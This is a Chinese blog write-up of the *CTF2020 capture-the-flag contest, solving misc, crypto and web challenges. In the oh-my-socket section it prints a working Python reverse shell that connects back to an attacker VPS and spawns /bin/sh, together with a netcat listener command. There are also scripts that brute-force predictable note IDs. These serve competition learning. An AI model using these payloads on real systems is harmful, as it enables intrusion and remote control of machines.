*CTF2020部分Writeup

跟后援团的老哥们组了个野队,排名35,还行

MISC

signin

签到,没啥好说的

MineGame

首先安装依赖,正常运行

扫雷游戏

踩雷会播放哈利路亚bgm,然后如果正常游玩大概10秒左右会强制结束

猜测游戏胜利会基于flag,那flag必然已经在内存之中,

使用无敌的ce修改器

通过高级选项暂停游戏,使其不退出

利用常规的字符搜索,搜搜*ctf的unicode值

竟然能直接找到,太棒了

那就直接查看内存,直接搜就完事了

little tricks

开局一个ll2,改为后缀vhdx发现是个加密的磁盘文件

由于bitlocker最小字符是8位,所以盲猜了一下密码是12345678结果就解开了,经典弱口令

里面存在的12345678意义不明,膜了

直接打开ftk进行磁盘取证,查找隐藏文件

找到一个pdf,然后这个flag提交不对,找了半天也就这一个玩意

那就转成word,然后就出来了

puzzle

拼图,看似很难,但是拼出来就行了,体力活,群内师傅使用gaps出的,我 不 用

Crypto

GuessKey

guesskey

GuessKey2

贴呆呆神的exp(虽然是手撸的)

from pwn import*

p = remote('52.163.228.53', 8082)
p.recvuntil('mask:')
mask = 2**64-1
guess = mask
while True:
    p.sendline(str(mask))
    p.recvuntil('guess:')
    p.sendline(str(guess))
    a = p.recv()
    if a[:5] != b'Oops.':
        mask = 0
        p.sendline(str(mask))
        p.recvuntil('guess:')
        p.sendline(str(guess))
        p.recv()
        p.sendline(str(mask))
        p.recvuntil('guess:')
        p.sendline(str(guess))
        a = p.recv()
        print(a)
        break

p.interactive()

little case

NCTF2019的easyrsa原题

NCTF2019-官方writeup – 郁离歌丶的博客 (yulige.top)

改一下payload参数就行,pq都没变。。e也没变,绝了

WEB

oh-my-note

一般路过代码审计,保证伪造session,还有时间戳一堆鬼东西,然后最后输出到private继续了

import requests
import time
import datetime
import random
import string
import numpy as np

url = 'http://52.163.52.206:5002/view/'
id1 = 'lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u'
def get_random_id():
	alphabet = list(string.ascii_lowercase + string.digits)
	return ''.join([random.choice(alphabet) for _ in range(32)])

for i in np.arange(1610677738,1610677801,0.0001):
	i = round(i,4)
	timestamp = round(i,4)
	random.seed(timestamp)
	user_id = get_random_id()
	timestamp = round(i, 4)
	post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')
	random.seed(user_id + post_at)
	note_id = get_random_id()
	if note_id == id1:
		print(user_id)
		break
for i in range(0,10):
	timestamp = round(1610677738+i*60, 4)
	post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')
	random.seed(user_id + post_at)
	note_id = get_random_id()
	res = requests.get(url=url+note_id)
	if res.status_code==200:
		print(note_id)
		print(res.text)

oh-my-socket

超级唬人开局,我以为很难,其实很简单,源码都给了

下载附件,一个docker compose,三个文件夹,里面三个文件,

部署上的效果

简述一下,webserver就是这个题目最外面的公网,client没有用,server上藏着flag

可以对server进行简单审计

除了这段,其他都是常规socket服务端的代码,然后如果传的数据等于*ctf,然后就输出这个文件,这个文件里面就是flag

打开一个链接,里面打开后也是个代码审计,简单审一下发现就是上传python文件,然后执行,那说明就可以直接弹shell,

vps进行监听:nc -lvvp 2333

上传2.py

import socket,subprocess,os 
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.connect(("vpsip",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2) 
p=subprocess.call(["/bin/sh","-i"])

然后弹shell,撰写socket客户端的代码

from socket import *
HOST = '172.21.0.2'
PORT = 21587
BUFSIZ = 1024
ADDR = (HOST, PORT)

tcpCliSock = socket(AF_INET,SOCK_STREAM)
tcpCliSock.connect(ADDR)

while True:
    data = b'*ctf'
    if not data:
        break
    tcpCliSock.send(data)
    data = tcpCliSock.recv(BUFSIZ)
    if not data:
        break
    print(data)

tcpCliSock.close

由于他没内置vi和vim这类编辑器,所以得想个骚操作把这个写入

把他转为base64然后解码echo即可

echo ZnJvbSBzb2NrZXQgaW1wb3J0ICoKSE9TVCA9ICcxNzIuMjEuMC4yJwpQT1JUID0gMjE1ODcKQlVGU0laID0gMTAyNApBRERSID0gKEhPU1QsIFBPUlQpCgp0Y3BDbGlTb2NrID0gc29ja2V0KEFGX0lORVQsU09DS19TVFJFQU0pCnRjcENsaVNvY2suY29ubmVjdChBRERSKQoKd2hpbGUgVHJ1ZToKICAgIGRhdGEgPSBiJypjdGYnCiAgICBpZiBub3QgZGF0YToKICAgICAgICBicmVhawogICAgdGNwQ2xpU29jay5zZW5kKGRhdGEpCiAgICBkYXRhID0gdGNwQ2xpU29jay5yZWN2KEJVRlNJWikKICAgIGlmIG5vdCBkYXRhOgogICAgICAgIGJyZWFrCiAgICBwcmludChkYXRhKQoKdGNwQ2xpU29jay5jbG9zZQo= |base64 -d >1.py

最后直接python3 1.py就行了

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 共1条
    • 魔法少女雪殇
    • 10
      oh-my-socket 不是预期解
      1月前